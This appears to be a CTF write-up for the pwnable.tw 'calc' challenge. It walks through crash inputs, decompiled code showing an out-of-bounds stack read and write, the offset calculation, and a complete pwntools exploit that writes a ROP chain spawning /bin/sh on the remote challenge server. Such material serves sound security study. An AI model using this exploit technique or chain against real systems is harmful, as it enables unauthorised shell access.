On our last hackathon, Malfunction, Scotch and me tried to beat several CTFs. This article sums up the results of challenge #3 on pwnable.tw. The basic settings are:
No matter whether you use the online service or start the local binary, you can do some basic calculations:
=== Welcome to SECPROG calculator ===
1+2
3
8/2
4
Merry Christmas!
The calculator is pretty straight forward: You enter a set of operands, operators, hit newline and get a result. Sending a second newline character quits the application.
file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
It is statically linked which explains a size of 725K for a binary with a rather simple functionality. Good for us, because it may be really easy to find some usuable ROP gadgets. Lets check its security features:
$ checksec calc
[*] '/home/belial/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We have canaries and the stack is not executable. Finally, we take a look at the syscalls:
$ strace ./calc
...
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7f9d000
write(1, "=== Welcome to SECPROG calculato"..., 38=== Welcome to SECPROG calculator ===
) = 38
read(0, 1+1
"1", 1) = 1
read(0, "+", 1) = 1
read(0, "1", 1) = 1
read(0, "\n", 1) = 1
write(1, "2\n", 22
) = 2
read(0,...
Nothing special here, no file system usage, etc. The binary just uses read() to fetch user input and write() to print it on screen.
In the previous section, we gathered some general information. In this section, we play around with calc to trigger crashes with crafted input. Luckily, finding segfaults is easy but we had to play alot to reduce the corresponding input to a simple set of commands.
=== Welcome to SECPROG calculator ===
+10000
Segmentation fault (core dumped)
[92206.830690] calc[96454]: segfault at ff8d0c68 ip 00000000080493ff sp 00000000ff8c7010 error 4 in calc[8048000+a3000]
The second one is triggered the following way:
=== Welcome to SECPROG calculator ===
+100000+100000000
Segmentation fault (core dumped)
[ 763.088389] calc[2884]: segfault at ff9cf2ac ip 0000000008049160 sp 00000000ff96d760 error 6 in calc[8048000+a3000]
In both cases, the integers need a certain size to throw an exception. So, to sum things up:
We found input strings which cause segmentation faults in the calculator. During the next step, we started Ghidra to analyse the binary itself. We made heavy usage of Ghidras Assembler to C decompiler and renamed local variables to get a better understanding of the calculator. The main goal is to understand the crashes at EIP=0x08049160 and EIP=0x080493FF. So, lets start with the programs entry point:
void main(void) { signal(0xe,timeout); alarm(0x3c); puts("=== Welcome to SECPROG calculator ==="); fflush((FILE *)stdout); calc(); puts("Merry Christmas!"); return; }
The program sets a timeout which automatically quits after a certain amount of time. The most interesting part: This method has no stack cookie protection. We keep this is mind for later pwnage. The business logic itself implemented in calc():
void calc(void) { int ret_val; int in_GS_OFFSET; int literals_index; undefined4 literals_list [100]; undefined input_buffer [1024]; int local_10; local_10 = *(int *)(in_GS_OFFSET + 0x14); while( true ) { bzero(input_buffer,0x400); ret_val = get_expr(input_buffer,0x400); if (ret_val == 0) break; init_pool(&literals_index); ret_val = parse_expr(input_buffer,&literals_index); if (ret_val != 0) { printf("%d\n",literals_list[literals_index + -1]); fflush((FILE *)stdout); } } if (local_10 == *(int *)(in_GS_OFFSET + 0x14)) { return; } __stack_chk_fail(); }
The method begins and ends with the previously mentioned stack canary protection. The interesting local variables are:
Calc() performs a while(true) loop:
As already mentioned above, parse_expr() calculates the result. Therefore when parse_expr() terminates, literals_index should be equal to one and literals_list[0] contains the calculation result as an integer. The segfault at EIP=080493ff occurs in the printf() statement. So the first conclusion is: Somehow literals_index is set to an invalid value due to the input "+10000". Next stop is parse_expr():
undefined4 parse_expr(void *input_buffer,int *literals_struct) { int literals_index; char *sub_expression_buffer; int ret_val; undefined4 function_ret_val; size_t sub_expression_size; int in_GS_OFFSET; void *copy_of_input_buffer; int buffer_index; int operators_index; char operators_buffer [100]; int stack_cookie; stack_cookie = *(int *)(in_GS_OFFSET + 0x14); copy_of_input_buffer = input_buffer; operators_index = 0; bzero(operators_buffer,100); buffer_index = 0; do { if (9 < (int)*(char *)((int)input_buffer + buffer_index) - 0x30U) { sub_expression_size = (int)input_buffer + (buffer_index - (int)copy_of_input_buffer); sub_expression_buffer = (char *)malloc(sub_expression_size + 1); memcpy(sub_expression_buffer,copy_of_input_buffer,sub_expression_size); sub_expression_buffer[sub_expression_size] = '\0'; ret_val = strcmp(sub_expression_buffer,"0"); if (ret_val == 0) { puts("prevent division by zero"); fflush((FILE *)stdout); function_ret_val = 0; goto LAB_0804935f; } ret_val = atoi(sub_expression_buffer); if (0 < ret_val) { literals_index = *literals_struct; *literals_struct = literals_index + 1; literals_struct[literals_index + 1] = ret_val; } if ((*(char *)((int)input_buffer + buffer_index) != '\0') && (9 < (int)*(char *)((int)input_buffer + buffer_index + 1) - 0x30U)) { puts("expression error!"); fflush((FILE *)stdout); function_ret_val = 0; goto LAB_0804935f; } copy_of_input_buffer = (void *)((int)input_buffer + buffer_index + 1); if (operators_buffer[operators_index] == '\0') { operators_buffer[operators_index] = *(char *)((int)input_buffer + buffer_index); } else { switch(*(undefined *)((int)input_buffer + buffer_index)) { case 0x25: case 0x2a: case 0x2f: if ((operators_buffer[operators_index] == '+') || (operators_buffer[operators_index] == '-')) { operators_buffer[operators_index + 1] = *(char *)((int)input_buffer + buffer_index); operators_index = operators_index + 1; } else { eval(literals_struct,(int)operators_buffer[operators_index]); operators_buffer[operators_index] = *(char *)((int)input_buffer + buffer_index); } break; default: eval(literals_struct,(int)operators_buffer[operators_index]); operators_index = operators_index + -1; break; case 0x2b: case 0x2d: eval(literals_struct,(int)operators_buffer[operators_index]); operators_buffer[operators_index] = *(char *)((int)input_buffer + buffer_index); } } /* Check whether we are at end of input buffer */ if (*(char *)((int)input_buffer + buffer_index) == '\0') { while (-1 < operators_index) { eval(literals_struct,(int)operators_buffer[operators_index]); operators_index = operators_index + -1; } function_ret_val = 1; LAB_0804935f: if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) { __stack_chk_fail(); } return function_ret_val; } } buffer_index = buffer_index + 1; } while( true ); }
The most interesting local variables are two arrays:
Both are accessed in a do-while loop which iterates over user_input[] until it reaches an operator or a terminating null byte. In this case, the following algorithm is performed:
When the calc binary hits a second operator or the end of user input, it assumes two literals exist in literals_buffer[]. This assumption is wrong as demonstrated by the previously shown segfault examples. Both use an unary operator which leads to the following behaviour
Obviously, the first bug can be used to read any value from stack. The second bug allows us to write any value on stack. In the next chapter, we will debug the application to calculate to right offset to access the calculators function return values.
As we already mention, main() is not protected by stack canaries. Therefore, our shell code is placed at main functions return value. Although we can write any value to the stack, we have to calculate the correct offset. So, lets start radare2 and set two breakpoints:
Printf() reads the stack the following way: mov eax, dword [ebp + eax*4 - 0x59c] (the value in eax is printed on screen as format string) while ebp equals to 0xffffcc58
When we enter the main() function, rsp equals to 0xffffcc7c. Therefore, we can calculate our offset for overwriting main() function return value the following way:
0xffffcc58 + eax*4 - 0x59c = 0xffffcc7c
eax*4 - 0x59c = 0x24
eax*4 = 0x5C0
eax = 0x170 (decimal: 368)
Conclusion: "+368+x+" overwrites main() return value with x.
We have calculated input values to overwrite stack return values and to avoid stack canaries. As mentioned above, the stack itself is not executable. Therefore, we chose return oriented programming as attack vector. Luckily, the static calc binary is huge and contains lots of rop gadgets. We start "ropgadget" and get a full rop chain which spawns a shell. Based on these values, we write the following exploit:
#!/usr/bin/python2 # coding: utf-8 def write_dword(offset, data): o1 = ((0xffffcc7c+offset) - 0xffffcc58 + 0x59c)/4 return ("+" + str(o1) + "+" + str(data) + "+\n") def get_shellcode(): p = [] p.append(0x080701aa) # pop edx ; ret p.append(0x080ec060) # @ .data p.append(0x0805c34b) # pop eax ; ret p.append(0x6e69622f) # 'bin' p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret p.append(0x080701aa) # pop edx ; ret p.append(0x080ec064) # @ .data + 4 p.append(0x0805c34b) # pop eax ; ret p.append(0x68732f2f) # '//sh' p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret p.append(0x080701aa) # pop edx ; ret p.append(0x080ec068) # @ .data + 8 p.append(0x080550d0) # xor eax, eax ; ret p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret p.append(0x080481d1) # pop ebx ; ret p.append(0x080ec060) # @ .data p.append(0x080701d1) # pop ecx ; pop ebx ; ret p.append(0x080ec068) # @ .data + 8 p.append(0x080ec060) # padding without overwrite ebx p.append(0x080701aa) # pop edx ; ret p.append(0x080ec068) # @ .data + 8 p.append(0x080550d0) # xor eax, eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x0807cb7f) # inc eax ; ret p.append(0x08049a21) # int 0x80 return p ''' Exploit local binary ''' from pwn import * # context.log_level = 'DEBUG' conn = remote('chall.pwnable.tw',10100) conn.recvline() print("Sending ROP payload:") payload_list = get_shellcode() counter = 0 for i in payload_list: payload = write_dword(counter,i) counter+=4 print(payload) conn.send(payload) conn.recvline() # Exit gracefully print("Leaving main() and opening Shell") conn.sendline() conn.interactive()